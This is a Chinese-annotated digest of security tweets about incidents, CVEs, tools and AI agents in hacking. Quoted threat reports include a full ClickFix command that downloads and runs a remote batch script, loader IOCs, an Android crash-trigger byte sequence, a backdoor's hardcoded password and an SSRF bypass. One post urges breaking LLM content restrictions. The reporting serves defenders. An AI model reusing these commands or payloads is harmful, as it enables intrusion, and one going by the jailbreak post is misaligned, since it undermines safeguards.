⚡Megatron LLM Hub
All digests
Twitter

推特安全流

Top6

含具体载荷域名与执行路径,可直接转成检测规则。

RT @Kostastsale: We captured this attack as well, and managed to follow the execution chain quite a bit further. It started with the same obfuscated PowerShell command using curl.exe and a decimal-encoded IP (𝟷𝟹𝟼𝟿𝟿𝟾𝟶𝟺𝟼𝟷 → 𝟾𝟷.𝟷𝟼𝟾.𝟼𝟸.𝟺𝟻). From there, we observed multiple stages of payload delivery, persistence, process injection, and credential access. Here's what we saw: 1️⃣ PowerShell downloaded 𝚏𝚕𝚘𝚖𝚘𝚘𝚏𝟷.𝚣𝚒𝚙 from 𝚖𝚊𝚒𝚕𝚍𝚎𝚟𝚎𝚕𝚘𝚙𝚎𝚛.𝚜𝚒𝚝𝚎, extracted it under AppData\Local\ExFiles, and executed 𝚏𝚕𝚘𝚖𝚘.𝚎𝚡𝚎. 2️⃣ flomo.exe established persistence through the user Run key (𝚎𝚕𝚎𝚌𝚝𝚛𝚘𝚗.𝚊𝚙𝚙.𝚏𝚕𝚘𝚖𝚘), then extracted and launched 𝚄𝚝𝚒𝚕𝚒𝚝𝚢𝙿𝚒𝚡𝚎.𝚎𝚡𝚎. 3️⃣ UtilityPixe.exe copied itself to 𝙲:\𝙿𝚛𝚘𝚐𝚛𝚊𝚖𝙳𝚊𝚝𝚊\𝚑𝚊𝚗𝚍𝚕𝚎𝚛_𝚍𝚋𝚐_𝚍𝚎𝚟\ and staged a legacy scheduled task file (JSONGateway_debug.job). 4️⃣ It then spawned XenoMixe.exe suspended and modified its thread context using 𝚆𝚘𝚠𝟼𝟺𝚂𝚎𝚝𝚃𝚑𝚛𝚎𝚊𝚍𝙲𝚘𝚗𝚝𝚎𝚡𝚝. 5️⃣ 𝚇𝚎𝚗𝚘𝙼𝚒𝚡𝚎.𝚎𝚡𝚎 accessed Edge's Cookies, Local State, and Login Data files, registered raw keyboard input hooks, and injected into an active Edge process using SetThreadContext. 6️⃣ Browser data was staged into temporary directories and .7z archives. We also observed AD reconnaissance using net group "domain computers" /dom. 7️⃣ Network activity included 𝚐𝚙𝚝𝚌𝚖𝚍.𝚒𝚘 and outbound connections to multiple IPs on ports 2222/2223. One thing worth noting is that we confirmed access to browser credential stores and data staging, but couldn't verify successful exfiltration from the available network telemetry. IOCs: 𝟺𝟻[.]𝟷𝟹𝟷[.]𝟸𝟷𝟺[.]𝟸𝟹𝟿:𝟸𝟸𝟸𝟸 ➔  attempted a TCP connection from 𝚇𝚎𝚗𝚘𝙼𝚒𝚡𝚎.𝚎𝚡𝚎 𝟾𝟺[.]𝟸𝟻𝟸[.]𝟼𝟼[.]𝟷𝟽𝟼  ➔ XenoMixe.exe attempted TCP connections on ports 2222 and 2223 𝚐𝚙𝚝𝚌𝚖𝚍[.]𝚒𝚘 ➔  Resolved by the injected malware process 𝚇𝚎𝚗𝚘𝙼𝚒𝚡𝚎.𝚎𝚡𝚎 to establish bidirectional network communication on TCP ports 3333 and 3334, operating as C2. 𝚖𝚊𝚒𝚕𝚍𝚎𝚟𝚎𝚕𝚘𝚙𝚎𝚛[.]𝚜𝚒𝚝𝚎 ➔ Repeatedly resolved by a staging executable (flomo.exe) and served as the source for downloading malicious payloads during staging of additional components. 𝚑𝚝𝚝𝚙://𝟾𝟷\[.]𝟷𝟼𝟾\[.]𝟼𝟸\[.]𝟺𝟻/𝚓𝚎𝚜𝚜/𝚊𝚙𝚒?𝚝=<𝚄𝙸𝙳>&𝚝𝚛𝚊𝚌𝚔=𝟷&𝚎𝚟𝚎𝚗𝚝=𝚍𝚕_𝚘𝚔 𝟾𝟷[.]𝟷𝟼𝟾[.]𝟼𝟸[.]𝟺𝟻 ➔ The IP that the loader contacted

powershell事件进程注入凭据窃取 @cyb3rops source ↗

Agent 化逆向工具开源可直接跑,本地分析二进制时能立即验证效果。

RT @oneandonlyhusam: Introducing BINNY Desktop. EVERYONE is a security researcher now! @OpenBinAI 's agentic harness received a massive upgrade. Not just a brand-new user interface, but massive support for both Vulnerability Research and Malware Analysis. The harness comes pre-equipped with a full toolset for static and dynamic analysis, so you can point it at a binary and start asking questions right away. Whether you're reversing firmware or tearing apart malware, BINNY does the heavy lifting. Try it today. Free and Open Source at: https://t.co/aFrzPdSHwV

ai_agent工具逆向 @0xpwnie source ↗

CVSS 8.1 认证绕过,Alpine 等默认配置即受影响,配套 KQL 检测规则已公开。

🔥 *𝘀𝘀𝗵𝗼𝗹𝗲 Checker: Hunting for exposed OpenSSH systems with KQL ​ OpenSSH 𝟭𝟬.𝟲𝗽𝟮 was released on November 5, 2026, with a fix for a newly disclosed password-authentication bypass affecting certain Linux systems running 𝗺𝘂𝘀𝗹 𝗹𝗶𝗯𝗰 𝘄𝗶𝘁𝗵𝗼𝘂𝘁 𝗣𝗔𝗠. ​ The vulnerability, dubbed *𝘀𝘀𝗵𝗼𝗹𝗲, 𝗶𝘀 𝘁𝗿𝗮𝗰𝗸𝗲𝗱 𝗮𝘀 CVE-2026-123158 𝘄𝗶𝘁𝗵 𝗮 CVSS v3.1 score of 8.1 (High). ​ ⚠️ 𝗪𝗵𝘆 𝗱𝗲𝗳𝗲𝗻𝗱𝗲𝗿𝘀 𝘀𝗵𝗼𝘂𝗹𝗱 𝗽𝗮𝘆 𝗮𝘁𝘁𝗲𝗻𝘁𝗶𝗼𝗻 ​ Alpine Linux is a notable affected platform. On vulnerable configurations, an attacker who can reach the SSH service may be able to authenticate to an account locked with * in /𝚎𝚝𝚌/𝚜𝚑𝚊𝚍𝚘𝚠 by supplying a password between 𝟮𝟱𝟳 𝗮𝗻𝗱 𝟭,𝟬𝟮𝟰 𝗯𝘆𝘁𝗲𝘀. According to Alpine's advisory, exploitation can succeed with a single connection. ​ 🔎 𝗙𝗶𝗻𝗱𝗶𝗻𝗴 𝘆𝗼𝘂𝗿 𝗲𝘅𝗽𝗼𝘀𝘂𝗿𝗲 ​ To help fellow MDE and Microsoft Sentinel defenders, I put together the KQL query below to: ​ • Discover 𝗶𝗻𝘁𝗲𝗿𝗻𝗲𝘁-𝗲𝘅𝗽𝗼𝘀𝗲𝗱 𝗢𝗽𝗲𝗻𝗦𝗦𝗛 𝗶𝗻𝘀𝘁𝗮𝗻𝗰𝗲𝘀 • Identify the 𝘂𝗻𝗱𝗲𝗿𝗹𝘆𝗶𝗻𝗴 𝗟𝗶𝗻𝘂𝘅 𝗱𝗶𝘀𝘁𝗿𝗶𝗯𝘂𝘁𝗶𝗼𝗻 • Help narrow down systems potentially using 𝗺𝘂𝘀𝗹 𝗹𝗶𝗯𝗰 • Prioritize hosts for 𝗶𝗺𝗺𝗲𝗱𝗶𝗮𝘁𝗲 𝗽𝗮𝘁𝗰𝗵𝗶𝗻𝗴 ​ The goal is simple: 𝗳𝗶𝗻𝗱 𝘁𝗵𝗲 𝗲𝘅𝗽𝗼𝘀𝘂𝗿𝗲 𝗯𝗲𝗳𝗼𝗿𝗲 𝘀𝗼𝗺𝗲𝗼𝗻𝗲 𝗲𝗹𝘀𝗲 𝗱𝗼𝗲𝘀. ​ KQL Code: https://t.co/dAtnepLTNl ​ Happy hunting. 🛡️

cvessh绕过检测规则 @0x534c source ↗
Must-see21

仅用域控默认开放的 9389 端口即可完成域内攻击,上手成本低。

RT @g0h4n_0: Releasing a new tool « adshell-rs » an interactive Active Directory attack shell over LDAP(S) or ADWS (SOAP) 🔥🦀 RBCD, Shadow Credentials, DCSync, machine accounts, password reset, read objects… through the SOAP door (tcp/9389) every DC exposes by default 👇🏼 #ActiveDirectory #ADWS #RedTeam #Rust #Pentest

工具adredteamrust @pentest_swissky source ↗

基准分提升不等于能力提升,做 LLM 安全评测时需警惕分数陷阱

RT @pdiscoveryio: We let GPT-6 Astra directly edit Qwen3.5-9B's weights with no fine-tuning or gradient descent. SecEval: 32.5% → 51.5% But: → no clear CTF improvement → no better vulnerable-vs-patched judgment → 3× more false positives A higher benchmark number does not always mean a stronger capability gain.

llmai_agent报告 @pentest_swissky source ↗

Rust 微虚机出现内存破坏,作为 Agent 与函数计算隔离层时直接失守。

RT @_JcryPto_: People are asking how you corrupt memory in a sandbox written in Rust. 🦀🔥 The spark came from an unsafe block: mmap(MAP_FIXED) failed after unmapping a guest-RAM page. KVM kept pointing there; Firecracker reused it. Guest writes became VMM writes. 🏴‍☠️

逃逸vm云 @moyix source ↗

空值缺陷导致认证逻辑失效,自建 Tomcat 服务需核查版本与校验路径。

Java gotcha: concatenating a null reference doesn't throw. It becomes the four characters "null". In Tomcat's digest authentication, a missing user's password became "null" (CVE-2026-43512). When code hashes a lookup result, look for the null check. https://t.co/LXwcFCwX6B

cve认证绕过java @PentesterLab source ↗

agent 把凭证搜集变成可规模化流水线,暴露的密钥被用掉的窗口大幅缩短。

RT @MsftSecIntel: Microsoft Threat Intelligence has observed threat actors using agentic AI tools to search public GitHub repositories for exposed secrets and then using stolen secrets for further malicious activity against the compromised organization. https://t.co/WLKFOFd6Cq Searching open code repositories for exposed credentials, secrets, keys, and other authentication material is a well-documented technique, but agentic tooling like ARTEX allows threat actors to scale and accelerate scanning for secrets, analyzing the output, and conducting follow-on attacks. Microsoft has also investigated follow-on activity related to successful service principal sign-ins involving multiple application IDs, including cases where a single multitenant application credential was used across multiple tenants. The threat actor used the compromised credentials for cloud resource discovery, and credential and data exfiltration. Microsoft encourages organizations to scan their code for secrets. In addition to removing the secrets from the code base, affected organizations should immediately rotate any exposed keys or credentials. Read our blog for more details, detections, and guidance for public monitoring and reducing exposure.

ai_agent凭证泄露供应链 @cyb3rops source ↗

Alpine 云镜像与 OpenWrt 默认配置可能已满足前置条件,无需 PAM

RT @Kostastsale: This OpenSSH auth bypass vulnerability is crazy! Under the right conditions, attackers can bypass SSH authentication for any account that meets the requirements. Prerequisites: → musl libc (e.g. Alpine Linux, Openwrt) → OpenSSH without PAM → SSH password authentication enabled → Target account has * in /etc/shadow → Another account has a valid password hash As an example, right now, official Alpine Linux cloud images on AWS and Azure have a default account that can run commands as root without a password. Those cloud images are vulnerable to this attack. https://t.co/GGsB1E5nae

绕过openssh云 @virusbtn source ↗

大规模实证自主 Agent 已在真实网络犯罪中运转,附可复用的行为画像

RT @_CPResearch_: Agentic hacking frameworks are on the rise. We tracked 2,000+ #ARTEX servers and obtained databases with full conversation logs that show exactly how the agents hacked. It proves: Fully autonomous cybercrime is already here. Read more 👇: https://t.co/ZibylV402n

ai_agent报告事件 @virusbtn source ↗

完整实战利用链与运营配置外泄,同类暴露设备可直接对照排查

RT @Huntio: 🔥 𝗜𝗻𝘀𝗶𝗱𝗲 𝘁𝗵𝗲 𝗣𝗛𝗣𝟮𝗦𝗵𝗲𝗹𝗹 𝗔𝗿𝘀𝗲𝗻𝗮𝗹: 𝗔 𝗖𝗼𝗺𝗽𝗹𝗲𝘁𝗲 𝗗𝗶𝘀𝘀𝗲𝗰𝘁𝗶𝗼𝗻 𝗼𝗳 𝗮 𝗣𝗔𝗡-𝗢𝗦 𝗠𝗮𝘀𝘀-𝗘𝘅𝗽𝗹𝗼𝗶𝘁𝗮𝘁𝗶𝗼𝗻 𝗢𝗽𝗲𝗻 𝗗𝗶𝗿𝗲𝗰𝘁𝗼𝗿𝘆 We flagged this one briefly in last week’s PHP2Shell update. Now we have been through the whole thing. An operator left their entire PAN-OS campaign exposed in an open directory on a single Tokyo VPS, and we went through all of it. What was inside: - A four-stage chain that turns one unauthenticated HTTP request into root on PAN-OS, pairing a PHP session.upload_progress bug with the Fragnesia kernel LPE (CVE-2026-46300) - 19,182 management portals scanned with FOFA, filtered down to 631 exploitable 12.x boxes - 25 confirmed root compromises across the US and South Korea, including a pivot to Panorama and a managed firewall inside a US defense-sector org - A GlobalProtect authentication bypass (CVE-2026-0257) kept on hand as a second way in - An AI pentest platform (aiscan) that read 22 playbooks and armed itself with 17 tools in under nine minutes Full breakdown, IOCs, and ATT&CK mapping 👇 https://t.co/539RYyB7FU

rce提权事件 @virusbtn source ↗

零交互且阻断紧急呼叫,覆盖面为整条 Android 机型线

RT @ptdbugs: SMS of Death: Zero-Click Android Telephony DoS via WAP Push Read on dbugs: https://t.co/GE7F4hH64x A researcher has published an analysis of a vulnerability in the Android telephony stack that allows an attacker to remotely disable a phone with a single text message. The attack is zero-click: it requires no interaction from the victim and causes a persistent denial of service, including preventing the victim from calling emergency services. What’s the issue? The flaw is located in the "WapPushOverSms.decodeWapPdu()" method in the "frameworks/opt/telephony" system component. The WSP header is parsed as a "uintvar", returned as a "long", then cast to "int" without range checking and used directly as the size of a new array: │ // https://t.co/YbnrbSPLH2 │ int headerLength = (int) pduDecoder.getValue32(); │ // https://t.co/xLHo5VJITX │ byte[] header = new byte[headerLength]; The five-byte value "88 80 80 80 00" decodes to "0x80000000". When cast to a signed 32-bit integer, it becomes "-2147483648". Allocating an array with a negative length throws an uncaught "NegativeArraySizeException", crashing the main telephony thread. Attack mechanics • Delivery vector. The message is delivered as a data SMS via WAP Push to port 2948. It does not appear in Messages, the sender’s number is not displayed, and no notifications are shown. • Immediate effect. The "https://t.co/QWrt3u4DYv" process crashes, active calls are dropped, telephony service becomes unavailable for 1–2 seconds, and the process then restarts. • Carrier redelivery. If the message is not acknowledged, the carrier resends it, causing the phone to crash again. In testing, a single message triggered recurring outages for up to a week. • Boot loop. The malformed message remains queued in "content://sms/raw" and is reprocessed on every boot. Android RescueParty reboots the device into recovery mode approximately every 90 seconds, eventually prompting the user to perform a factory reset. Impact on emergency calls While the device is under attack or stuck in a reboot loop, it cannot reliably place emergency calls. The attack may not only disrupt the phone’s operation but also result in the carrier blocking the device until the issue is resolved. For example, in Australia, access to the 000 emergency number is a mandatory feature of mobile service. Carriers are required to identify phones that cannot connect to emergency services and may disconnect affected devices from the network. Article: https://t.co/GgEi0S7iIC

移动端dospoc @0xocdsec source ↗

本地 agent 默认向任意网页外泄身份标识,同类遥测设计需逐一排查。

RT @niebezpiecznik: hahaha Claude Code dopisywał Twój adres e-mail do nagłówka User-Agent, czyli przekazywał go czasami stronom www, które twój agent analizował/kradł albo odpytywał o informacje potrzebne do twojego projektu. Efekt? Użytkownicy Claude Code zauważyli że oststnio zaczęli dostawać "podejrzanie sprofilowany spam". Anthropic potwierdził, że wyciek adresów e-mail przypisanych do kont to wynik uboczny jednej z poprawek. I że naprawią to w kolejnej poprawce 🤡

ai_agentllm隐私数据泄露 @0xocdsec source ↗

无交互网络触发意味着可蠕虫化,公告与常识矛盾,补丁优先级判断受影响。

I initially thought “RCE in Paint” meant tricking someone into opening a crafted image, and my confusion was just about terminology. But Microsoft lists AV:N / UI:N. The FAQ describes sending a crafted packet to an “affected service”, with no user interaction. Which service? How does that packet reach Paint and trigger code execution without anyone doing anything? I really hope this is just an error in the advisory… https://t.co/rTBO5WL23g

cvercewindows @cyb3rops source ↗

无需内核 CVE 即可从客户机摸到 VMM,多租户隔离假设被直接挑战。

RT @_JcryPto_: Congrats on PwnEscape! It shows a guest-to-host route through a guest accessible kernel flaw. Our work adds a different route: a vulnerability in Firecracker itself let the guest userspace reach VMM control under the stock jailer, without kernel CVE as the entry point. https://t.co/nHUUgc42jY

逃逸虚拟化firecracker @0xocdsec source ↗
Recommended15

低成本大规模密钥扫描的落地做法,仓库与构建流水线可复用

RT @akhilreni_hs: We used Deepseek to scan internet for secrets in JS files, Github repos, docker images and more for a couple of weeks, we found a lot, more on that later but here is how we are running the DS https://t.co/DiVUDB8lvq

llm工具供应链凭据 @0xocdsec source ↗

该解析漏洞曾被用于攻破 OpenAI,输入构造细节可指导解析器审计。

RT @LiveOverflow: Remember the Heap Buffer Overflow in libheif 1.19.7, which was used by @rootxharsh to hack into OpenAI? Here is a .heic file from a iPhone photo, which actually contains several images. And the primary image is actually derived from a grid of smaller images. 🧵1/x https://t.co/9gRSlsXiFN

poc解析器漏洞 @0x64616e source ↗

Linux 认证链后门可直取 root,现有样本检测与模型审计均难覆盖。

RT @nextronresearch: Your core Linux authentication could be compromised without a single alert. We've identified malicious PAM modules that are completely invisible on VirusTotal and bypass advanced LLM-based reverse engineering by altering just one line of source code. Observed capabilities: Universal bypass via the hardcoded password. .gnu.version_r, carefully chosen to avoid detection. Targeted root access via password zZ,s=EB6f#91Lh@[ (observed in Yemen). Achieved via minimal source code modification to pam_unix with a one-liner poisoning. 1/2

后门linux绕过免杀 @cyb3rops source ↗

包含 NullReceiver/PolinRider 加载器的包仍在仓库,安装即触发。

RT @nextronresearch: @npmjs scans packages for malware and has previously removed packages carrying NullReceiver/PolinRider loaders. Yet malicious releases of four compromised packages are still downloadable, roughly 8 hours after publication. Our THOR Thunderstorm-based artifact scanning pipeline identified the same hidden loader in: • [at]adminide-stack/[email protected] • [at]adminide-stack/[email protected] • [at]adminide-stack/[email protected] • [email protected] / 0.0.16 These application libraries retain their original code but hide a loader behind 131 tabs. It discovers C2 through Ethereum transaction recipients, then downloads and executes JavaScript over plaintext HTTP on port 443. The payload runs when the infected bundle loads successfully. --ignore-scripts alone does not prevent execution. IOCs: • Files: lib/index.js; dist/main.js • Marker: A10-npm_inject • Paths: /0x/cls; /0x/ls • Wallet: 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3 Matched THOR rules: • MAL_JS_B64_NullReceiver_Sep26 • SUSP_OBFUSC_JS_Encoded_Pattern_Sep23 • SUSP_Base64_UserAgent_Definition_Mar25

供应链npm恶意软件 @cyb3rops source ↗

凡是字符串匹配判地址的 SSRF/ACL 过滤都可被绕过,手法可复现

RT @acidvegas4real: new blog post new blog post An IPv4 address is just a 32-bit number, and glibc will accept it in forms you would never recognize. "⁰𝑋⁴5.🯰3₆。⁵₂₈𝟲🯶" is one of them. Anything that judges an address by how it looks can be walked around. https://t.co/VyFowFlxPT https://t.co/51G7XlP2FB

绕过ssrfglibc @0xocdsec source ↗

含哈希与完整命令行,可直接转成自查项与检测规则

RT @TheDFIRReport: 🔎 Indicators from a ClickFix intrusion we are actively investigating: C2: microservice6533[.]com (fronted by Cloudflare) Payload launched from the user's Themes folder: "C:\Users\<user>\Themes\TRegSvr.exe" -q "C:\Users\<user>\Themes\vclimg370.bpl" SHA256 (vclimg370.bpl): 9c71d88a1a73373cc10cd622c9d37d9b71cee6d521cd40a07ca1e7507acfed27 A user browsed to a compromised site, was shown a ClickFix lure, and ran a command that used wildcard obfuscation to launch a command shell, download a batch script (z.cmd) from a threat actor controlled domain, and execute it. ClickFix command: "C:\Windows\system32\cmd.exe" /c "for %%x in (co*t.exe) do start "" %%x --headless cmd /c cd/dC:\Users\<user>^&curl -foz.cmd hxxps://webbit6551[.]com/ue/s/JSdmatqR^&z.cmd" If you defend a network, hunt your logs for these now. Seeing the same thing, or have additional context? Get in touch 👉 https://t.co/24f1j6Tun8

事件ioc恶意软件 @virusbtn source ↗

无 agent 无守护进程,直接在已有日志上跑,适合自托管环境立即上手。

sigwood — Local-first threat hunting for the logs you already have: Zeek, Pi-hole, syslog or the systemd journal, CloudTrail. Every run names the technique behind each detector. No agent, no daemon, no black box - between grep and a SIEM. https://t.co/X5O04zqqCl https://t.co/WdDZLTuwYK

工具威胁狩猎日志 @KitPloit source ↗
More68

跨平台运行 iOS 需大幅改动内核,其补丁思路可复用于移动端研究。

RT @qwerty__cs: Android hardware is booting real iOS now. Bergamota boots the unmodified iOS 18.7.8 userland from an iPhone XR on a Xiaomi Poco F1, using Apple's open-source XNU kernel patched for the Snapdragon 845. It reaches SpringBoard, and with GPU compositing on the Adreno 630 the home screen swipes at about 45 fps. And a FiiO JM21 music player, which normally runs Android 13, now boots iOS 16.5 natively: SpringBoard with GPU acceleration, touch, storage, buttons, battery and Wi-Fi. https://t.co/aziaSkSHJq

移动端内核ios @0xocdsec source ↗

加固移动系统有了更多硬件选择,但目前仅停留在承诺阶段。

RT @GrapheneOS: Motorola has announced their new high end flagship phone including upcoming official support for GrapheneOS as an OS option. Motorola Signature 27 will be the first Motorola device supported by GrapheneOS. More devices will be supported in the future. https://t.co/ARJFCisI8z

移动端grapheneos工具 @FuzzySec source ↗

可本地部署的 LLM 威胁情报流水线,紫队归并线索省人工。

Cyllex-Argus - AI-powered adversary intelligence for purple teams. Argus investigates a threat across the web, your RSS feeds and documents you supply, extracts quote-backed claims with an LLM, consolidates them into confidence-scored assessments mapped to MITRE ATT&CK, and lets a human review every step. https://t.co/6bgKlYyYyH

ai_agentllm工具 @ipurple source ↗

网关与代理看不到载荷,检测规则需覆盖浏览器端还原环节。

🟣 Weekly Purple Team: HTML Smuggling + WASM Payload reconstructed client-side in the browser. The gateway and proxy never see it coming. Then we do basic reverse engineering of the WASM payload. Red vs. blue breakdown 🎥 https://t.co/5W1v71QQ1v #purpleteam #redteam #blueteam #HTMLSmuggling #WASM #DetectionEngineering #MITREATTACK #CyberSecurity

绕过浏览器检测 @BriPwn source ↗

复现该图像解析链所需的分片构造思路已公开,可直接验证补丁状态。

RT @LiveOverflow: Remember the Heap Buffer Overflow in libheif 1.19.7, which was used by @rootxharsh to hack into OpenAI? Here is a .heic file from a iPhone photo, which actually contains several images. And the primary image is actually derived from a grid of smaller images. 🧵1/x https://t.co/9gRSlsXiFN

堆溢出图像解析poc @0xocdsec source ↗

为无法安装 agent 的设备提供了一条可落地的主机侧检测路径。

RT @nextronresearch: A reminder of how cool THOR Thunderstorm and its collectors are ⚡ Some systems will never run a security agent: ESXi hosts, network appliances, routers, industrial and out-of-support systems. They are still part of your attack surface. The trick: don't bring the scanner to the machine. Bring the machine's files to the scanner. - A collector (one Go binary, or one script in Bash, POSIX sh, Python, Perl, PowerShell or Batch) copies selected files to your own THOR Thunderstorm. The originals stay where they are. - You decide what leaves: recent files, a size limit, selected types. Preview it with a dry run first. - THOR does the heavy lifting on your server: YARA rules, your own signatures, IOCs, Sigma rules and forensic parsers. - Findings land in a log, in syslog or in your SIEM. Run it every night with cron or Ansible and ship only what changed. No agent. Often a shell and a network connection are enough. 93 seconds, no sound, video below (The findings in the film are illustrative) Collectors: https://t.co/WPEqXAlZF0 The written version: https://t.co/T1ruHIRw4U #DFIR #ThreatHunting #IncidentResponse #YARA #Sigma

工具esxi检测 @cyb3rops source ↗

零点击漏洞若属实证影响面极大,但目前仅有论坛叫卖、无任何核实。

RT @MonThreat: 🚨 Threat Actor Claims iOS 27 Zero-Click RCE Exploit for Sale on Darkweb A listing on an underground forum claims the availability of a zero-day remote code execution (RCE) exploit targeting Apple's upcoming iOS 27 operating system. The post, dated November 4, 2026, alleges that the vulnerability allows for root-level privilege escalation via a crafted iMessage payload without any user interaction, classifying it as a Zero-Click attack. According to the thread, the exploit is purportedly compatible with modern iPhones and iPads running iOS 27.2 and upcoming updates. The seller describes the exploit as "very expensive" and states that only genuine buyers should make contact. While the post does not provide technical proof-of-concept (PoC) details or screenshots of the exploit in action, it explicitly mentions that escrow services are accepted for transactions. The threat actor behind the listing has not been independently identified in this specific thread, and no prior track record was provided in the source material to verify their reputation or past activities. Claims of zero-day exploits for major mobile operating systems are frequently used as bait in underground markets; therefore, the authenticity of this specific iOS 27 vulnerability remains unverified. If authentic, a zero-click RCE with root privileges would represent a critical security risk, potentially enabling state-sponsored actors or advanced cybercriminals to spy on high-value targets or install persistent malware undetected. At the time of reporting, Apple has not acknowledged the existence of this specific vulnerability, and the claim has not been independently verified by security researchers. #iOS27 #ZeroDayExploit #AppleSecurity #DarkWeb #ThreatIntelligence #CyberSecurity

移动端0dayrce @0xocdsec source ↗

前沿模型会拒绝的安全任务在本地模型上可执行,是自托管的实际收益样本。

RT @Void_Sec: I asked GPT to quantify how much I 'd have paid in API token costs for my last 15 days of work on my DGX Spark cluster. Turns out, A LOT. The cluster is already paying for itself, especially considering that the cybersecurity work I did would have been blocked on frontier models https://t.co/hY1PNRNUqf

本地部署llm成本 @artem_i_baranov source ↗

RT @nextronresearch: One Arid Gopher section in @ESET latest APT report led us to two more campaigns using the same playbook. They target Arabic-speaking government employees, HR and diplomatic staff, students, activists and NGO workers across the Middle East, using polished Arabic survey and exam-paper lures. ESET ties one lure document to the Palestinian Authority's Ministry of Foreign Affairs and Expatriates. Campaign 1: a macro document fetches an HTA through WMI, the HTA pulls a Go backdoor out of a PNG using a key byte read from the image, persistence is the Run value HostHelpLoader, C&C is mmarketplaces[.]com. Campaign 2: a 4 MB libcurl implant inside VHDX, where the payload never receives Mark-of-the-Web, with a Startup link or a scheduled task chosen by an antivirus check. We assess with high confidence that the sample is Arid Gopher, and therefore Arid Viper activity. The two campaigns share the victimology and naming habits. Analysis & IOCs: https://t.co/r6QuQTHzo0

钓鱼apt恶意文档 @cyb3rops source ↗

radare2 v6.2.6 — UNIX-like reverse engineering framework and command-line toolset https://t.co/VzK60MYtGi https://t.co/Oia7T5NXQm

工具逆向 @KitPloit source ↗

零交互持久 DoS,恶意 APK 投放门槛极低且难被用户感知

Bitdefender Labs researcher Alecsandru Cătălin DAJ traced an emulator crash to GhostMap. His team showed that a crafted APK can leave an Android phone stuck in a crash loop even if you never open it or grant it a single permission. https://t.co/0bFwsEBzYi https://t.co/xsrnWvZsUq

移动端dospoc @virusbtn source ↗

纯软件、最新固件即可用,对主机信任链与提权研究有参考价值

jailbreaking the switch 2 - @pepsipu ns2jb is a software-only jailbreak of the switch 2 for the current latest firmware 23.0.1 https://t.co/LZGo3QBpEJ https://t.co/4NlFwWDaaA

越狱固件poc @pentest_swissky source ↗

合法远程管理工具滥用,检测盲区思路可直接复用

RT @5mukx: In one of my previous research, I turn Chrome Remote Desktop into a complete red team scenario that can be used for monitoring and even leads to spying.. I explain different use cases and how to make it possible. Link :- https://t.co/6ZeFjVAUVF https://t.co/rR5CHTHIoo

工具绕过后渗透 @0xTriboulet source ↗

解释了扩展商店审核为何失效,并给出 Needle/Lunex 面板生态图谱

Intrinsec's Ruben Madar examines browser extensions that launch clean, then add malware through silent updates. The report also covers tools sold to install extensions without user interaction and maps Needle and Lunex panels. https://t.co/PoxdOIf6xi https://t.co/ui9AmPmiRl

浏览器供应链报告 @virusbtn source ↗

展示零点击攻击把解压引擎当虚拟机用,是解析器攻击面研究的标杆案例。

RT @zoecyber001: When researchers analyzed how Pegasus spyware infected iPhones without the user tapping anything, they found something wild. The attackers sent an iMessage with a fake GIF that targeted Apple's image decompression engine. The decompression math was so flexible that the exploit chained arithmetic operations together to construct a literal, functioning software CPU using over 70,000 segment commands that defined logical bit operations (AND, OR, XOR, XNOR, etc.) entirely inside the image parser. This created a small computer architecture with registers, a full 64-bit adder, and a comparator, running raw code before the phone even buzzed with a notification

移动端利用链ios解析器 @0xocdsec source ↗

内核回调是 EDR 与 rootkit 的共同战场,可据以判断回调绕过可行性。

Reversing Win32k's Callbacks https://t.co/QLuEU0YKqK Credits Ido Veltzman #infosec https://t.co/DnK6YfWwM6

内核逆向windows @0xor0ne source ↗

移动端安全启动信任链出现自签名路径,冲击设备完整性假设。

RT @fahadalijaved: For Exynos enthusiasts: You can now fuse your own secure boot keys in your device, allowing to permanently run custom images on locked bootloader. Repo: https://t.co/6qoKXRzImz Up to 2026-10-05 security patch for fusing (once it's fused you can flash whatever you want, it never goes away) Only s5e8825 is supported in the main branch. You can always port it to your Exynos device and PR it. As always big up Gabriel

移动端固件提权 @ilove2pwn_ source ↗

character encoding issues is literally what worms and IIS exploits used in 2001 used. Not even double encoding, which I wouldn't be surprised if that was a second bug. Secure web development practices and web scanners from the early 2000s both would have caught this. Not sure what's more embarrassing not finding this in development or bragging that an AI caught this

web编码 @Laughing_Mantis source ↗

对“模型自动挖洞”预期的纠偏,说明人工知识在利用流程中仍不可替代。

RT @i0n1c: The believe that you just point a model at an iPhone and it will spit out a jailbreak is just wrong. Without humans that keep track and guide the models you are not going to get good results. Security research is very much alive. And human knowledge is still important

llm移动端漏洞利用 @S1r1u5_ source ↗

if you're a hacker why are you using cyber access programs and chinese models? i've really been shocked by the lack of rebellion in the hacker community on this issue. is it really too hard to break content policy restraints? did you really give up that easily? think about what we used to do. countless hours in debuggers and now too lazy to even bother trying to bypass restrictions. its crazy. what happened to try harder?

llm越狱社区 @Teach2Breach source ↗

RT @TeksEdge: A single RTX 5090 reportedly hit 390 tps running Qwen3.8-Flash-Next on a brand-new inference engine. Peak? 452 tps Here is the setup 🧠 Qwen3.8-Flash-Next 🔥 125B total / 6B active 🎮 NVIDIA RTX 5090 32GB 💾 128GB DDR5 system RAM 🪟 Windows 11 📚 256K configured context ⚙️ INT8 KV cache Results (decode) 🚀 Infernix + DFlash2 + Q2 → 390 tps ⚡ Strata + MTP + Q2 → 348 tps ⚡ Infernix + native MTP → 304 tps 🟢 NVFP4 configuration → 209 tps 🔵 Qwen FP8 configuration → 60 tps That is a 6.5× difference between the fastest and slowest reported configurations on the same GPU! DAMN! How? Brand new Infernix! 🔧 Patched Infernix inference engine 🧠 GSQ-RCO Q2_0 quantization ⚡ DFlash2 speculative decoding 💾 INT8 KV caching However, reported perplexity FP8 → 3.487 Q2 → 3.930 That's ~12.7% higher perplexity. The developer reports relatively small coding degradation but larger losses for prose and Chinese. Link in ALT.

本地推理llm硬件 @0xocdsec source ↗